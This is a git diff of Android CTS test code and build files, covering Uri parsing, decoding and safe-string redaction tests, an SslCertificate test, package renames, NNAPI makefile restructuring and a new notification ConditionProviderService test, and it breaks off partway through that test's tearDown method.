+        uri = Uri.parse("https://[2001:db8::dead:e1f]/#foo");
+        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
+        assertNull(uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(-1, uri.getPort());
+        assertEquals("/", uri.getPath());
+        assertEquals("foo", uri.getFragment());
+        assertEquals("//[2001:db8::dead:e1f]/", uri.getSchemeSpecificPart());
+
+        uri = Uri.parse(
+                "https://some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp#bar");
+        assertEquals("some:user@[2001:db8::dead:e1f]:1234", uri.getAuthority());
+        assertEquals("some:user", uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(1234, uri.getPort());
+        assertEquals("/foo", uri.getPath());
+        assertEquals("bar", uri.getFragment());
+        assertEquals("//some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp",
+                uri.getSchemeSpecificPart());
+        assertEquals("corge=thud&corge=garp", uri.getQuery());
+        assertEquals("thud", uri.getQueryParameter("corge"));
+        assertEquals(Arrays.asList("thud", "garp"), uri.getQueryParameters("corge"));
     }
 
     public void testCompareTo() {
@@ -164,22 +203,62 @@
         String encoded = Uri.encode("Bob:/", "/");
         assertEquals(-1, encoded.indexOf(':'));
         assertTrue(encoded.indexOf('/') > -1);
-        assertDecode(null);
-        assertDecode("");
-        assertDecode("Bob");
-        assertDecode(":Bob");
-        assertDecode("::Bob");
-        assertDecode("Bob::Lee");
-        assertDecode("Bob:Lee");
-        assertDecode("Bob::");
-        assertDecode("Bob:");
-        assertDecode("::Bob::");
+        assertEncodeDecodeRoundtripExact(null);
+        assertEncodeDecodeRoundtripExact("");
+        assertEncodeDecodeRoundtripExact("Bob");
+        assertEncodeDecodeRoundtripExact(":Bob");
+        assertEncodeDecodeRoundtripExact("::Bob");
+        assertEncodeDecodeRoundtripExact("Bob::Lee");
+        assertEncodeDecodeRoundtripExact("Bob:Lee");
+        assertEncodeDecodeRoundtripExact("Bob::");
+        assertEncodeDecodeRoundtripExact("Bob:");
+        assertEncodeDecodeRoundtripExact("::Bob::");
+        assertEncodeDecodeRoundtripExact("https:/some:user@[2001:db8::dead:e1f]:1234/foo#bar");
     }
 
-    private void assertDecode(String s) {
+    private static void assertEncodeDecodeRoundtripExact(String s) {
         assertEquals(s, Uri.decode(Uri.encode(s, null)));
     }
 
+    public void testDecode_emptyString_returnsEmptyString() {
+        assertEquals("", Uri.decode(""));
+    }
+
+    public void testDecode_null_returnsNull() {
+        assertNull(Uri.decode(null));
+    }
+
+    public void testDecode_wrongHexDigit() {
+        // %p in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD\u0000", Uri.decode("ab%2f$%C4%82%25%e0%a1%80%p"));
+    }
+
+    public void testDecode_secondHexDigitWrong() {
+        // %1p in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD\u0001", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%1p"));
+    }
+
+    public void testDecode_endsWithPercent_appendsUnknownCharacter() {
+        // % in the end.
+        assertEquals("ab/$\u0102%\u0840\uFFFD", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%"));
+    }
+
+    public void testDecode_plusNotConverted() {
+        assertEquals("ab/$\u0102%+\u0840", Uri.decode("ab%2f$%c4%82%25+%e0%a1%80"));
+    }
+
+    // Last character needs decoding (make sure we are flushing the buffer with chars to decode).
+    public void testDecode_lastCharacter() {
+        assertEquals("ab/$\u0102%\u0840", Uri.decode("ab%2f$%c4%82%25%e0%a1%80"));
+    }
+
+    // Check that a second row of encoded characters is decoded properly (internal buffers are
+    // reset properly).
+    public void testDecode_secondRowOfEncoded() {
+        assertEquals("ab/$\u0102%\u0840aa\u0840",
+                Uri.decode("ab%2f$%c4%82%25%e0%a1%80aa%e0%a1%80"));
+    }
+
     public void testFromFile() {
         File f = new File("/tmp/bob");
         Uri uri = Uri.fromFile(f);
@@ -425,4 +504,78 @@
                 Uri.parse("HTTP://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c")
                         .normalizeScheme());
     }
+
+    public void testToSafeString_tel() {
+        checkToSafeString("tel:xxxxxx", "tel:Google");
+        checkToSafeString("tel:xxxxxxxxxx", "tel:1234567890");
+        checkToSafeString("tEl:xxx.xxx-xxxx", "tEl:123.456-7890");
+    }
+
+    public void testToSafeString_sip() {
+        checkToSafeString("sip:xxxxxxx@xxxxxxx.xxxxxxxx", "sip:android@android.com:1234");
+        checkToSafeString("sIp:xxxxxxx@xxxxxxx.xxx", "sIp:android@android.com");
+    }
+
+    public void testToSafeString_sms() {
+        checkToSafeString("sms:xxxxxx", "sms:123abc");
+        checkToSafeString("smS:xxx.xxx-xxxx", "smS:123.456-7890");
+    }
+
+    public void testToSafeString_smsto() {
+        checkToSafeString("smsto:xxxxxx", "smsto:123abc");
+        checkToSafeString("SMSTo:xxx.xxx-xxxx", "SMSTo:123.456-7890");
+    }
+
+    public void testToSafeString_mailto() {
+        checkToSafeString("mailto:xxxxxxx@xxxxxxx.xxx", "mailto:android@android.com");
+        checkToSafeString("Mailto:xxxxxxx@xxxxxxx.xxxxxxxxxx",
+                "Mailto:android@android.com/secret");
+    }
+
+    public void testToSafeString_nfc() {
+        checkToSafeString("nfc:xxxxxx", "nfc:123abc");
+        checkToSafeString("nfc:xxx.xxx-xxxx", "nfc:123.456-7890");
+        checkToSafeString("nfc:xxxxxxx@xxxxxxx.xxx", "nfc:android@android.com");
+    }
+
+    public void testToSafeString_http() {
+        checkToSafeString("http://www.android.com/...", "http://www.android.com");
+        checkToSafeString("HTTP://www.android.com/...", "HTTP://www.android.com");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user:pwd@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http:///...", "http:///path?param");
+        checkToSafeString("http:///...", "http://");
+        checkToSafeString("http://:12345/...", "http://:12345/");
+    }
+
+    public void testToSafeString_https() {
+        checkToSafeString("https://www.android.com/...", "https://www.android.com/secretUrl?param");
+        checkToSafeString("https://www.android.com:8443/...",
+                "https://user:pwd@www.android.com:8443/secretUrl?param");
+        checkToSafeString("https://www.android.com/...", "https://user:pwd@www.android.com");
+        checkToSafeString("Https://www.android.com/...", "Https://user:pwd@www.android.com");
+    }
+
+    public void testToSafeString_ftp() {
+        checkToSafeString("ftp://ftp.android.com/...", "ftp://ftp.android.com/");
+        checkToSafeString("ftP://ftp.android.com/...", "ftP://anonymous@ftp.android.com/");
+        checkToSafeString("ftp://ftp.android.com:2121/...",
+                "ftp://root:love@ftp.android.com:2121/");
+    }
+
+    public void testToSafeString_notSupport() {
+        checkToSafeString("unsupported://ajkakjah/askdha/secret?secret",
+                "unsupported://ajkakjah/askdha/secret?secret");
+        checkToSafeString("unsupported:ajkakjah/askdha/secret?secret",
+                "unsupported:ajkakjah/askdha/secret?secret");
+    }
+
+    private void checkToSafeString(String expectedSafeString, String original) {
+        assertEquals(expectedSafeString, Uri.parse(original).toSafeString());
+    }
 }
diff --git a/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java b/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
index 70ae496..95f415c 100644
--- a/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
+++ b/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
@@ -230,6 +230,19 @@
         final String EXPECTED = "Issued to: c=ccc,o=testOName,ou=testUName,cn=testCName;\n"
             + "Issued by: e=aeei,c=adb,o=testOName,ou=testUName,cn=testCName;\n";
         assertEquals(EXPECTED, ssl.toString());
+        assertNull(ssl.getX509Certificate());
     }
 
+    public void testGetX509Certificate() {
+        final String TO = "c=ccc,o=testOName,ou=testUName,cn=testCName";
+        final String BY = "e=aeei,c=adb,o=testOName,ou=testUName,cn=testCName";
+        Date validNotBefore = new Date(System.currentTimeMillis() - 1000);
+        Date validNotAfter = new Date(System.currentTimeMillis());
+        SslCertificate ssl = new SslCertificate(TO, BY, validNotBefore, validNotAfter);
+        assertNull(ssl.getX509Certificate());
+
+        X509Certificate cert = new MockX509Certificate();
+        ssl = new SslCertificate(cert);
+        assertSame(cert, ssl.getX509Certificate());
+    }
 }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index d4ce39a..89ce66a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.false">
+        package="com.android.cts.netsecpolicy.usescleartext_false">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.false.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_false.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to denied.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 2b91cea..3979b65 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficFalseTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.false" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_false" />
         <option name="runtime-hint" value="12m" />
     </test>
 </configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index fe31e80..e2e9a5d 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.true">
+        package="com.android.cts.netsecpolicy.usescleartext_true">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.true.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_true.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to permitted.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index c025dad..43c31d7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficTrueTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.true" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_true" />
         <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index c6b65c0..6ec5bac 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.unspecified">
+        package="com.android.cts.netsecpolicy.usescleartext_unspecified">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.unspecified.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_unspecified.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is not specified.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index ae25db7..0eb3788 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.unspecified" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_unspecified" />
         <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
index 6dc6c5d..032bcde 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -32,5 +32,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_SDK_VERSION := 26
+LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 26
+
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
index bec926e..c159580 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -17,7 +17,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
       <uses-library android:name="org.apache.http.legacy" />
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index b467b44..d8b2be2 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -12,9 +12,42 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Build the unit tests.
+nnapi_cts_dir := $(call my-dir)
 
-LOCAL_PATH:= $(call my-dir)
+# Build the static library which is friendly to multi-threaded compilation.
+# The sources are located at frameworks/ml/nn/runtime/test
+LOCAL_PATH:= frameworks/ml/nn/runtime/test/
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsNNAPITests_static
+LOCAL_SRC_FILES := \
+     $(call all-cpp-files-under,generated/tests) \
+     GeneratedUtils.cpp \
+     TestMemory.cpp \
+     TestTrivialModel.cpp \
+     TestUnknownDimensions.cpp \
+     TestValidateOperations.cpp \
+     TestValidation.cpp \
+     TestWrapper.cpp \
+     TestNeuralNetworksWrapper.cpp
+
+LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
+LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
+LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+
+LOCAL_CFLAGS := -Werror -Wall -DNNTEST_ONLY_PUBLIC_API
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+include $(BUILD_STATIC_LIBRARY)
+
+
+# Build the actual CTS module with the static lib above.
+# This is necessary for the build system to pickup the AndroidTest.xml.
+LOCAL_PATH:= $(nnapi_cts_dir)
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNNAPITestCases
@@ -23,32 +56,15 @@
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SRC_FILES := \
-     src/TestGenerated.cpp \
-     src/TestMemory.cpp \
-     src/TestTrivialModel.cpp \
-     src/TestUnknownDimensions.cpp \
-     src/TestValidateOperations.cpp \
-     src/TestValidation.cpp \
-     src/TestWrapper.cpp
-
-LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
-LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
-LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
-LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
-LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+LOCAL_WHOLE_STATIC_LIBRARIES := CtsNNAPITests_static
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-
 LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
-
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_CFLAGS := -Werror -Wall
-
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
 
diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
deleted file mode 100644
index b9044fe..0000000
--- a/tests/tests/neuralnetworks/src/TestGenerated.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestGenerated.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestMemory.cpp b/tests/tests/neuralnetworks/src/TestMemory.cpp
deleted file mode 100644
index 84d2d41..0000000
--- a/tests/tests/neuralnetworks/src/TestMemory.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestMemory.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
deleted file mode 100644
index b41e50f..0000000
--- a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestTrivialModel.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp b/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp
deleted file mode 100644
index 764d9b8..0000000
--- a/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestUnknownDimensions.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidateOperations.cpp b/tests/tests/neuralnetworks/src/TestValidateOperations.cpp
deleted file mode 100644
index add81a9..0000000
--- a/tests/tests/neuralnetworks/src/TestValidateOperations.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestValidateOperations.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidation.cpp b/tests/tests/neuralnetworks/src/TestValidation.cpp
deleted file mode 100644
index eab0f59..0000000
--- a/tests/tests/neuralnetworks/src/TestValidation.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestValidation.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestWrapper.cpp b/tests/tests/neuralnetworks/src/TestWrapper.cpp
deleted file mode 100644
index f77963b..0000000
--- a/tests/tests/neuralnetworks/src/TestWrapper.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestWrapper.cpp"
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
index c1fb3fa..07b2f80 100644
--- a/tests/tests/notificationlegacy/Android.mk
+++ b/tests/tests/notificationlegacy/Android.mk
@@ -39,4 +39,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
+LOCAL_MIN_SDK_VERSION := 24
+
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 7b55bc8..dd96eac 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -17,6 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.app.notification.legacy.cts">
+    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
     <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
     <application>
@@ -30,6 +31,24 @@
                 <action android:name="android.service.notification.NotificationListenerService" />
             </intent-filter>
         </service>
+
+        <service android:name="android.app.notification.legacy.cts.LegacyConditionProviderService"
+                 android:exported="true"
+                 android:label="Legacy"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.notification.legacy.cts.SecondaryConditionProviderService"
+                 android:exported="true"
+                 android:label="Secondary"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
new file mode 100644
index 0000000..7a172e5
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.service.notification.NotificationListenerService.INTERRUPTION_FILTER_PRIORITY;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.ActivityManager;
+import android.app.AutomaticZenRule;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.ArraySet;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@RunWith(AndroidJUnit4.class)
+public class ConditionProviderServiceTest {
+    private static String TAG = "CpsTest";
+
+    private NotificationManager mNm;
+    private ActivityManager mActivityManager;
+    private Context mContext;
+    private ArraySet<String> ids = new ArraySet<>();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+        SecondaryConditionProviderService.requestRebind(SecondaryConditionProviderService.getId());
+        mNm = (NotificationManager) mContext.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        try {
+            for (String id : ids) {
+                if (id != null) {
+                    if (!mNm.removeAutomaticZenRule(id)) {
+                        throw new Exception("Could not remove rule " + id);
+                    }
+
+                    assertNull(mNm.getAutomaticZenRule(id));
+                }
+            }
+        } finally {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
